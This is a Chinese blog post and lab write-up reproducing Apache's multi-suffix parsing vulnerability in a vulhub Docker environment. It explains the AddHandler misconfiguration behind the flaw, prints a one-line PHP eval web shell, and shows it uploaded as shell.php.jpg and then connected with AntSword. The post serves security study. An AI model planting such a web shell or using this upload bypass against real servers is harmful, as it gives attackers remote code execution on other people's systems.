Apache多后缀名解析漏洞复现(vulhub)

文章介绍了Apache服务器的0x00漏洞原理,该漏洞允许上传以.php为隐藏后缀的文件,如shell.php.jpg,导致文件被当作PHP脚本执行。实验展示了在Kali和CentOS靶机环境中,如何利用此漏洞上传一句话木马并成功连接。
摘要由CSDN通过智能技术生成

0x00 漏洞原理

Apache默认一个文件可以有多个以点分割的后缀,Apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别。例如一个文件名为test.jpg.abc,Apache会先从最右边开始识别,也就是会先识别.abc,apache无法识别.abc,继而往左继续识别,发现是.jpg,Apache可以识别,因此会将其识别为图片文件。

0x01 产生原因

配置Apache时,对于Apache配置不熟练,配置命令不清楚,在配置PHP文件处理程序时,配置命令存在问题:位于漏洞环境目录的 conf/docker-php.conf里的配置命令。

AddHandler application/x-httpd-php .php

该命令会将后缀中只要含有.php的文件都会被当作php程序解析。

 查看网页的源代码

 从源代码中可以看出,该网站只允许上传以gif,png,jpg和jpeg为后缀的文件。但由于Apache存在多后缀名解析漏洞,因此我们可以上传一个名为shell.php.jpg的文件,该文件以.jpg在最后的后缀,因此可以上传到网站;又有该文件存在.php,因此最终该文件会被当作php文件执行。

0x02 实验设备

攻击机:kali(192.168.111.139),win11(10.17.42.114)

靶机:centos7(192.168.111.140)

0x03 实验步骤

1. 进入靶场,拉取镜像,并查看服务相关信息。

cd vulhub/httpd/apache_parsing_vulnerability    //进入靶场
docker-compose up -d    //拉取镜像
docker ps    //查看服务相关信息

 可以看到服务的端口号为80。

2. 从本机中访问该服务。

 

3.选择php的一句话木马文件,并将其重命名为shell.php.jpg,然后上传。

<?php @eval($_POST['cmd']); ?>

网页显示上传成功,并且服务中也确实存在该文件

 

 注:进入服务终端的732f89728c1是容器ID,可以通过docker ps命令查看。

4. 尝试使用蚁剑进行连接(连接的url是http://192.168.111.140/uploadfiles/shell.php.jpg,而不是从/var开始)。

连接成功!

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

leoet18

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值